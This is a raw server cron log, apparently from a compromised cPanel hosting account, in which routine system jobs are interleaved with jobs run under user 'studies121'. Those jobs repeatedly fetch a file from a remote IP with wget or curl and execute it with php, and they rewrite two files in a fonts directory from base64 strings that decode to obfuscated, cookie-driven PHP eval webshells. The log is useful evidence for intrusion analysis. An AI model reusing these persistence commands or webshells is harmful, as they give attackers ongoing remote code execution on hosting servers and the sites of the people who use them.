Sep 20 10:28:01 ip-184-168-122-23 CROND[22585]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 10:28:01 ip-184-168-122-23 CROND[22590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:29:01 ip-184-168-122-23 CROND[22829]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:29:01 ip-184-168-122-23 CROND[22828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:29:01 ip-184-168-122-23 CROND[22830]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:29:01 ip-184-168-122-23 CROND[22831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:30:01 ip-184-168-122-23 CROND[23076]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 10:30:01 ip-184-168-122-23 CROND[23079]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:30:01 ip-184-168-122-23 CROND[23081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:30:01 ip-184-168-122-23 CROND[23080]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 10:30:01 ip-184-168-122-23 CROND[23088]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 10:30:01 ip-184-168-122-23 CROND[23087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:30:01 ip-184-168-122-23 CROND[23089]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:30:01 ip-184-168-122-23 CROND[23086]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 10:31:01 ip-184-168-122-23 CROND[23355]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:31:01 ip-184-168-122-23 CROND[23356]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:31:01 ip-184-168-122-23 CROND[23358]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:31:01 ip-184-168-122-23 CROND[23361]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:31:01 ip-184-168-122-23 CROND[23359]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 10:32:01 ip-184-168-122-23 CROND[23581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:32:01 ip-184-168-122-23 CROND[23582]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:32:01 ip-184-168-122-23 CROND[23584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:32:01 ip-184-168-122-23 CROND[23586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:32:01 ip-184-168-122-23 CROND[23585]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 10:33:01 ip-184-168-122-23 CROND[23874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:33:01 ip-184-168-122-23 CROND[23880]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:33:01 ip-184-168-122-23 CROND[23879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:33:01 ip-184-168-122-23 CROND[23881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:34:01 ip-184-168-122-23 CROND[24252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:34:01 ip-184-168-122-23 CROND[24256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:34:01 ip-184-168-122-23 CROND[24255]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:34:01 ip-184-168-122-23 CROND[24254]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 10:34:01 ip-184-168-122-23 CROND[24257]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:35:01 ip-184-168-122-23 CROND[24523]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:35:01 ip-184-168-122-23 CROND[24526]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 20 10:35:01 ip-184-168-122-23 CROND[24528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:35:01 ip-184-168-122-23 CROND[24527]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 10:35:01 ip-184-168-122-23 CROND[24530]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 10:35:01 ip-184-168-122-23 CROND[24529]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:35:01 ip-184-168-122-23 CROND[24533]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:35:01 ip-184-168-122-23 CROND[24535]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 10:36:01 ip-184-168-122-23 CROND[24804]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:36:01 ip-184-168-122-23 CROND[24806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:36:01 ip-184-168-122-23 CROND[24807]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:36:01 ip-184-168-122-23 CROND[24808]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 10:36:01 ip-184-168-122-23 CROND[24809]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:37:01 ip-184-168-122-23 CROND[25058]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:37:01 ip-184-168-122-23 CROND[25060]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:37:01 ip-184-168-122-23 CROND[25062]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:37:01 ip-184-168-122-23 CROND[25065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:38:01 ip-184-168-122-23 CROND[25318]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:38:01 ip-184-168-122-23 CROND[25316]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 10:38:01 ip-184-168-122-23 CROND[25317]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:38:01 ip-184-168-122-23 CROND[25319]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:38:01 ip-184-168-122-23 CROND[25320]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:39:01 ip-184-168-122-23 CROND[25650]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:39:01 ip-184-168-122-23 CROND[25652]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:39:02 ip-184-168-122-23 CROND[25655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:39:02 ip-184-168-122-23 CROND[25654]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 20 10:39:02 ip-184-168-122-23 CROND[25657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:40:02 ip-184-168-122-23 CROND[25941]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 10:40:02 ip-184-168-122-23 CROND[25938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 10:40:02 ip-184-168-122-23 CROND[25940]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 10:40:02 ip-184-168-122-23 CROND[25942]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 10:40:02 ip-184-168-122-23 CROND[25943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 10:40:02 ip-184-168-122-23 CROND[25945]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 10:40:02 ip-184-168-122-23 CROND[25946]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
